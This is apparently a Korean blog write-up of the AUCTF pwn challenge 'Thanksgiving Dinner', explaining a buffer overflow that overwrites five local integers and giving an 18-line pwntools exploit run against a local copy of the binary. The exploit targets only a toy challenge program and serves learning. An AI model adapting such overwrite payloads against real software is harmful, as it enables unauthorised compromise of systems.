CTF/ETC
AUCTF [Pwn] - Thanksgiving Dinner
raar
2020. 4. 22. 00:07
문제는 다음과 같다. 이게 조금 예전에 열렸던 CTF인데 뒷북이지만 적어서 올려 본당
아, 참고로 저 nc 서버는 닫혀 있으므로 remote 익스는 불가능 하당 ㅜㅜ
먼저 ida로 보면,
main 함수에서 vulnerable 함수를 호출한다. 따라가 보면,
int 형 변수 5개 만들어 놓고, if 문으로 저 5개 값을 비교해서 전부 참이면, print_flag() 함수를 호출한다. 그냥 간단한 지역 변수 덮는 문제 임을 알 수 있다. fgets로 입력 넣을 때 저 값들을 조건문에 맡게 변조해두면 된다. 아, 참고로 저 print_flag 함수를 보면,
flag.txt 파일을 읽어서 출력 하므로 나는 다음과 같이 flag.txt 파일을 만들었당
gdb를 통해 vulnerable 함수에서 검사하는 루틴을 보면 다음과 같다. 다음 조건에 전부 맞게끔 익스를 짜면 될 것이다.
익스 코드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import*
p = process('./turkey')
p.recvuntil("Sorry that's all I got!")
payload = ''
payload += 'A'*16
payload += p32(0x2a)
payload += p32(0x15)
payload += p32(0x667463)
payload += p32(0xffffffe7)
payload += p32(0x1337)
p.sendline(payload)
p.interactive()
|
저 fgets를 보면 최대 36byte만큼 입력을 줄 수 있음을 알 수 있는데 딱 36byte에 맞추어서 입력을 주어 풀었다.
다음과 같이 아까 만들어두었던 flag가 출력됨을 볼 수 있다